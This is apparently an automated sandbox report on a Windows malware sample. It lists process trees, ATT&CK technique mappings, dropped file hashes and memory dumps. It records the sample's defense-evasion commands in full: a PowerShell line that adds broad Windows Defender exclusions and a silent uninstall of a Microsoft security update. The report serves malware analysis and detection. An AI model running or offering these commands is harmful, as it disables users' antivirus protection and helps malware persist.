    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=de --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4720,i,17716304541010544542,15587340102485466743,2097152 --field-trial-handle=1964,i,41107552823714664,17890799080677609633,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4744 /prefetch:1
    3⤵
    PID:1932
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=de --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4968,i,15317242998840644574,5992237633533197775,2097152 --field-trial-handle=1964,i,41107552823714664,17890799080677609633,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4944 /prefetch:1
    3⤵
    PID:4468
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=de --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4760,i,800650015191310897,4934797839690782119,2097152 --field-trial-handle=1964,i,41107552823714664,17890799080677609633,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5088 /prefetch:1
    3⤵
    PID:804
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=de --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5380,i,3529864136262937917,3423893080195508518,524288 --field-trial-handle=1964,i,41107552823714664,17890799080677609633,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5384 /prefetch:8
    3⤵
    PID:2108
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=de --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5700,i,6972778733657926426,12907276112477635377,524288 --field-trial-handle=1964,i,41107552823714664,17890799080677609633,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5712 /prefetch:8
    3⤵
    PID:2072
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=de --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5644,i,12596866793155613806,6919341777256570202,524288 --field-trial-handle=1964,i,41107552823714664,17890799080677609633,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5688 /prefetch:8
    3⤵
    PID:4664
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=de --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5660,i,1745607819914435592,8986176474971557989,524288 --field-trial-handle=1964,i,41107552823714664,17890799080677609633,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5308 /prefetch:8
    3⤵
    PID:4488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3360

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3556

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3720

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3928

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4620

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p
1⤵
PID:1164

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4724

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4748

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:3764

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4812

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3508

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:784

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4612

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:4424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:1836

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4824

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks processor information in registry
PID:3940

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:4736

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:4312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:912

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:3748

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:3196

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1808

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:1984

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1624

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:984

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1732

C:\ProgramData\bizecusnoqzx\rjyzvekkqzsi.exe
C:\ProgramData\bizecusnoqzx\rjyzvekkqzsi.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1892
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:3884
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2896
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:3716
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:4752
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:4964
- C:\Windows\system32\dialer.exe
  dialer.exe
  2⤵
  - Modifies data under HKEY_USERS
  PID:2612

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

smss.exe

Path C:\Users\Admin\AppData\Local\Comms\smss.exe
Size 3.4MB
SHA256 897b5101cafb0a9104381e8cd260c932df8cc2162bd2d4f26ba968f4b70c63e8
MD5 20eef3d8647f48e17eb7f3804d836518
SHA1 fbe3a3f8d08c980ca36cf9f10ac9f72982d899dc
SHA512 8dc2e5f6568da07b03c7f793f7c70dfd7d48883d6fc473ab21931de02d41700f2d95c99a84047c1b144827573293fdd8d40b81219ce5a7d0605c6b7281f8f26a
SSDEEP 98304:J90zEmNW6ABeiCR3MBpTrJNpHfGYMZBCwLCta:X0rk6wwR3c3tH9MbCwLC4
TLSH
T12DF53300C54F7BFAEE5259B4F8DCC5814D4EC5089ED2D69F0A269B76AB43B1C820639F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 59dda22ff01205380e6e58e1f656daea9b4565b857d6af640a5068020f3e44a6
MD5 35b77e12074153fa6e956044bcc78cb1
SHA1 6f1a1a4d5a9f3cac537b7839c4f1a726c7acddab
SHA512 b6695b88d873fe21e8a3ad254016c78ece32504e5ef7aca01d6d3a36134ed9e818389723790f261036980881cc9cfe444c7ddf22143580f67d6287602dc4516d
TLSH
T171E022ABC865AC2B09FE471920855747EB440B9B2B91990F3B3C860C8FF067A919A81C
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 3KB
SHA256 f18b8b1ddc0ff0eb4981dd22ae24c6e15c61f667954345b68c45d19f7261fab2
MD5 7205614ba86a5ed35cf7e0caaab3326f
SHA1 d0ce83a3b4dd916724183fa68d63d7c6eb371d4f
SHA512 2ad1b354808d0f4dabb00c73391887a9bbdb2c7c1bfc6015a0f435cd1dd87f46b2ed3fe1fc8345fa0dd2c910d00fc29fb364fd97e6bc9f01e374e5449e71c687
TLSH
T1F76191F7D3E8867E8911A6F4AA216E2FCE6D0914031C3C66C8D49F4B57F2872D20178E
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 69126fc9472b86835fc29f5d8b9b2e2bf4d7eaff1cdbe9fcb093b6d43b52b48e
MD5 7f722c085b8563990ac3b6b7f0e6b803
SHA1 748572125c23f85fd5e89775e81f6677c8ac517f
SHA512 a944686d821561549ddd53af59a984f7f7c9a321be2464b4ea6ec1c25f3292a019696a0957edb5cc37ccf399aa9428e5f3b10003dfe525ff509be5c1fc63b7cc
SSDEEP 192:KRERfH6XjtBv7rhAPRp27+9+Hsb+WNnXlQa420RMyil2NQekwBI/VyIsnAUgtaJ:KRERfERf8XxEwVy2oMyil2NQeh48
TLSH
T13E42E72DB9187A3B9DDBC229F9117B17EBF5102271911E48EAFCC92C14E75CD222741B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 13KB
SHA256 382fb87efa9acffcbea06977756d90171ef757740eb90865314056c0cb88e0ec
MD5 f3ade5722b8530e6dbb226d79c2b6d16
SHA1 04d1ac1869a55ac1f78e455a21ae62b361a9db70
SHA512 e6a17c41d820c2e3b963e1159c16c257581507339413fbabd061efe2d94153731a8c5c487a61ef2e6e09f52bd666ae36aae8d9ee9fd67e973396496f9e67469a
SSDEEP 192:KRERfH6Xjtiv7rhAPRp27+9+Hsb+WNnXlQa42IRMyil2NQekwBIxVyIsnAUgraJ:KRERfEuf8XxEwVy2UMyil2NQehie
TLSH
T1EC52D82DB9147A3B9DDBC229F9117B17E7F5102271911E48EAFCCA2C15E76CD222701B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 13KB
SHA256 617594edebfa4396f804cc9536c9f2e592b4bd579f78ea31735a12f531788f50
MD5 773c71d280b07a70cf6d78ee7ad96190
SHA1 8709edcf2f2b57d6590b935ae5a4f287966401e9
SHA512 54b5bd61132a4bf62e4cc53132ca15926cd495d724ca499a408adcc70546ad22398f7a35c67cb023760f94b77e99bd4e203edee191b933eb0f5fb43674c90681
SSDEEP 192:KRERFH6Xjtiv7rhtPRpx7+9+Hsb+WNnXlQa42hRMyil2NQekwBILVyIsnAUgraJ:KRERlEufPXgEwVy2bMyil2NQehGe
TLSH
T17452E92EB9146E3B9DDBC229F9517B17D7F5102271911E48EAFCCA2C14E76CD222701B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 17KB
SHA256 a3bb064e08d658f8ef7a769e920228abe03de512e46bdb847c54a47281281137
MD5 8cd05c6e281879bd742b9608f6a7e597
SHA1 d45062f3c9ba0020f5e1d8bc3cf1dcd23b908a0c
SHA512 d1969ebbad3b7c21a6c3bfb6d859ca1616a6a474ca6b047d38c5c110a80ef88e3246e3b687734736d48911386956c033cc7887bed86b728e7a3801b189c6007b
SSDEEP 384:Wcji97KxkXqKf/pUZNCgVLH2HfgslE27pLkdLcifU1XODid+ErU3+mHwzT9z:Wwi97KxkXqKf/pUZNCgVLH2Hfgs227pP
TLSH
T1257209676C4C9E3B4F94C9CCD8167F4FADB5014BA5EA885443FA982903D5ACF11061FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 120B
SHA256 56fe39a238377f3fb5d323139afb097732e8ba274e7d843e2a6bc0215f216804
MD5 b9d6cbe49f1194b25989ddf62a538e9e
SHA1 2c099ef9b2223f8ac4c0b1d6c047dcc02a95ce38
SHA512 4745aa84e95b02f4c401e5dbcfea4f33a9d3d3931073519297cd8141a44d408b96d2b247741e1c1a3d228b4a262b365062c0cf70e64996a185ab449c3569420d
TLSH
T1A7B012628001BA41C00342F5119204987218EF108705130153E46A719C271B04074151
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe59bf9d.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe59bf9d.TMP
Size 96B
SHA256 73cdebf70159f62defffa9a04412a3a2bbc397dc2a8a20caae15dabd1ee79d79
MD5 48c1375765b9b2e93bf375d92136d088
SHA1 7c34ea3f4c15aee74c74bfb97dc4c962f4d2275b
SHA512 9190864bf586003671bef36fb7f252cb81088e8a8577fab1d1245a881b0f0482459f5902d2478ef712f2ea3840debdff6a4fda9689b2617f82f8f6fbe5fa60af
TLSH
T123B02208C023BA02C00203F02A888AC83020CF3EC2830303A3E00ABBCC302208030AB0
MD5 SHA1 SHA512 TLSH

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
Size 138KB
SHA256 2b81be18aae1558a982f080e75380853cac20c9683e9c1197cec6d6ba8d4053d
MD5 79e15da4e0a1231be694fa3e94ee5df0
SHA1 1c20dd81584906ad249af1684ff1d3e17b9e1ed4
SHA512 c917a1d8d78718a5d3c264d9258312126a27c5ef269132ea30436b5f3af18b8b1d0e6fcf91297ac58eaf8e18af8c0f81bedc40a99657f115f10397382acb33a2
SSDEEP 192:tB+XuvBnl3JsueMEGvIW1/rcP2ObpX6EQqNVummwkK:jeuvBnhJsueMEGvIW1DcP2OVV/VummnK
TLSH
T1BBD3884B3A747102DDE5DA721CE050BB5E3CB16D4F51A5D528B620588EF2863B23D4BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Last Browser

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Browser
Size 106B
SHA256 3615498fbef408a96bf30e01c318dac2d5451b054998119080e7faac5995f590
MD5 de9ef0c5bcc012a3a1131988dee272d8
SHA1 fa9ccbdc969ac9e1474fce773234b28d50951cd8
SHA512 cea946ebeadfe6be65e33edff6c68953a84ec2e2410884e12f406cac1e6c8a0793180433a7ef7ce097b24ea78a1fdbb4e3b3d9cdf1a827ab6ff5605da3691724
TLSH
T1AAB0112033FC0228F3F38200AE333BA00F3FF8230000022CA008228808B38288880FB3
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 193KB
SHA256 8994da86972c5cf32886d2b623b16ff47937f015ec426c6cfd95929fc8f4f133
MD5 e3732137201a8913607ac66ff5ad07c1
SHA1 051a11928834a4fd8795e461d46342dc98435eda
SHA512 73812cd20d14d24b60215477f91c62030b95376c6e243f23b60573519968bd077f1fa10274eb708cb5dce7788c5f81b549410b196f3be465e9ee8cc417c1a2d3
SSDEEP 3072:RZr8meOVKHWRzQQK4xPtv3iebGXGy4WZm0T3Qw/xLANk0mUW5GmRntSFCjEENX:Lr8CVKqnZo2ynZJTrOk0HOGm/SFyEEx
TLSH
T1AA1423C7AE374A75DCDE9795B26E6C028824108FA06EF5CD62C49B1911EE08C2737F67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 193KB
SHA256 6d8b6079746d6ea9937be790918b3f1ab9c4a71bdd3313a7b16ec8c75a21415f
MD5 a281fab0b649d7452ba54351ba34edac
SHA1 03bc9b54e717d05ba2b25ce6e75a76924903ed4e
SHA512 e713775c9d8cf92d3e5210424fd6308eb808c5565378eff1b5b338e8c8d98fbc1120314f8de54d3d37f67aac3ec78dc5b35f7271a0b1ea1dced957095e268833
SSDEEP 3072:eZr8meOVKHWRzQQK4xPtv3iebGXGy4WZm0T3Qw/xLANk0mUW5GmRntSFCjEENX:ur8CVKqnZo2ynZJTrOk0HOGm/SFyEEx
TLSH
T1BD1423C7AE374A75DCDE9795B26E6C028824108FA06EF5CD62C49B1911ED08C2737F67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 194KB
SHA256 93622e1449275b93dff5834c9657bd76e3e3de652bc555d62b1b7f0d52bdab90
MD5 a7f0007f78d325ecbc4a427d39ab90be
SHA1 525a7ea47d51ddeaaa681bc0858d56c8a80a1689
SHA512 d1f7f4e170f4fb1fe8fe6e97c2c39f29697214bc6d4ff1348a73815e066a9b5784459ec9e7c16f568367ea3401e4b9a4afd4dd8047587393d85cd9dd094c814e
SSDEEP 3072:R56r8meOVKHWRzQQK4xPtv3iebGXGy4WZm0T3Qw/xLANk0mUW5GmRntSFCjEENX:/6r8CVKqnZo2ynZJTrOk0HOGm/SFyEEx
TLSH
T1481422B7AE374AB5DCAE9785B21D6C028C14508FE15DF9CD61C09B1921EE08C2737FA6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 89KB
SHA256 04539ccdf3af20072764a75de8cd312e85db21e9f570bfc9ece4a953da650aea
MD5 e63dc5b0e1fe4cfe369d2ba54ad676a9
SHA1 72d085e392b396a2c7a2c4c982e706a082c7a574
SHA512 12536be5ff5924f846284d614e63bd8683016fd2190dca17a35c9e3cb1f4cb2881ced27db435e4b5d2c6c20ec2f4244a8f9373631686223889a7ff6dde169d34
SSDEEP 1536:jVDcYRrL+PTA5F9/EO93Sos5EA3A820kOzXmUWUSGbqRszr6vFAlZLPm+6jR9YEm:xD3Qw/xLANk0mUW5GmRntSFCjEENQ
TLSH
T11A9302BA9E174AE7957D4A9176AE7808CE16630D706FA8CC315C638C61D01C92F73E73
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 a3d00d0ffedb7c7444e56f53931127873a2eda686cf36128128fc9d5da0b81b2
MD5 c11fa08aa4ab8737b946b7c6f79d794e
SHA1 8599ba9f54aa52b700c10f01a45677dfd7331b85
SHA512 cd8f110433481d092dfc59dcdc87f49c8fe3ac397f7261bd63a03117c22408f44c0e406fdaeff2ff616845892723dda258afc07f6324d47c53c35f2d6c3440dd
SSDEEP 1536:seYu+z30fztAHkvlOdBrNKe8flJn1YorV3CNBQkj2okqdzz0RzWRW7jMOvBaVGVo:HYu+z30fztAHktOdBrNKe8flJn1YorVi
TLSH
T13F334092E9204D71E1A66F3EF15652227D343D4690F8113212DC25EFA983DA70B1FAFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_f0w5ge3s.zen.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f0w5ge3s.zen.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

f.exe

Path C:\Users\Admin\AppData\Local\Temp\f.exe
Size 2.7MB
SHA256 03178333e6c5e08a20df6a6e3deef30a597ed18340bcbe43914e3d36c17bbfd9
MD5 9d947a4794f98c1f7c7038eb22cce291
SHA1 e6d450ca19790c0a0d490bb15c47f1ec79802104
SHA512 0b1a56eb9c01992a0a7cde855611d46559405b7d6346a517d1372e5df773448a86792e470e07fd4382c32ad3d56ff550763271776762888d62972fc863a4dcdc
SSDEEP 49152:JvC+/aWEG3CZAQ5DHWrtLf57HUrEvgaIvpoBfO0VVMNTCKxTkMiMZRWLfnN3Lbl:JvC+/a8QLmpHMTvpoBfZVeVYMZSdF
TLSH
T18AD5335D21C43FB9E9489A7A92841736922D3CF63EA0D543C8F01B4AE935BC54FBE2D4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.EXE.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
Size 4KB
SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
MD5 bdb25c22d14ec917e30faf353826c5de
SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
TLSH
T10D91EF313275E1D5C8663F031A2D19D093AF4396EA54AF48B25C625EED2604BDB122F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d0ec351493bdbc6cb94990b162bb8be5b0217277cc55ae12aa3c7ea704cdbc6e
MD5 02a1a26525c65a359d41483180eaa6f7
SHA1 c0e2578b92d20e925c1c87016d1a9fccee1ec56f
SHA512 d3271137241553f8316fcfc94dcf88c2887ee7bb0babddb4c1666fb5ae821a28425400299281422a4ebeb1f4c7369443b839d10f182279504bbba5f2f1cd94c2
TLSH
T12F115327B39C8921CC96163A509DAD1172B683DB81AEDE9F6FC0D215A07F984CB611A0
MD5 SHA1 SHA512 TLSH

Submit Download

memory/392-358-0x0000025769320000-0x000002576934B000-memory.dmp

Download

memory/392-364-0x0000025769320000-0x000002576934B000-memory.dmp

Download

memory/580-312-0x000002928AB80000-0x000002928ABA5000-memory.dmp

Download

memory/580-313-0x000002928ABB0000-0x000002928ABDB000-memory.dmp

Download

memory/580-314-0x000002928ABB0000-0x000002928ABDB000-memory.dmp

Download

memory/580-320-0x000002928ABB0000-0x000002928ABDB000-memory.dmp

Download

memory/580-321-0x00007FFB63130000-0x00007FFB63140000-memory.dmp

Download

memory/664-325-0x000001ECDFC00000-0x000001ECDFC2B000-memory.dmp

Download

memory/664-331-0x000001ECDFC00000-0x000001ECDFC2B000-memory.dmp

Download

memory/664-332-0x00007FFB63130000-0x00007FFB63140000-memory.dmp

Download

memory/684-299-0x00007FFBA30B0000-0x00007FFBA32A5000-memory.dmp

Download

memory/684-300-0x00007FFBA1870000-0x00007FFBA192E000-memory.dmp

Download

memory/684-298-0x0000019528360000-0x000001952838A000-memory.dmp

Download

memory/864-343-0x00007FFB63130000-0x00007FFB63140000-memory.dmp

Download

memory/864-336-0x000002355A290000-0x000002355A2BB000-memory.dmp

Download

memory/864-342-0x000002355A290000-0x000002355A2BB000-memory.dmp

Download

memory/1004-353-0x00000288D9500000-0x00000288D952B000-memory.dmp

Download

memory/1004-347-0x00000288D9500000-0x00000288D952B000-memory.dmp

Download

memory/1004-354-0x00007FFB63130000-0x00007FFB63140000-memory.dmp

Download

memory/1172-230-0x0000027CB5910000-0x0000027CB591C000-memory.dmp

Download

memory/1172-224-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/1172-227-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/1172-225-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/1172-226-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/1172-229-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/1928-117-0x00000000008F0000-0x0000000001547000-memory.dmp

Download

memory/1928-105-0x0000000023F50000-0x0000000024033000-memory.dmp

Download

memory/1928-92-0x00000000008F0000-0x0000000001547000-memory.dmp

Download

memory/2344-149-0x00000000008E0000-0x0000000001537000-memory.dmp

Download

memory/2344-156-0x0000000023F40000-0x0000000024023000-memory.dmp

Download

memory/2344-157-0x00000000008E0000-0x0000000001537000-memory.dmp

Download

memory/2392-303-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/2392-304-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/2392-307-0x00007FFBA30B0000-0x00007FFBA32A5000-memory.dmp

Download

memory/2392-308-0x00007FFBA1870000-0x00007FFBA192E000-memory.dmp

Download

memory/2392-301-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/2392-306-0x0000000140000000-0x0000000140008000-memory.dmp

Download

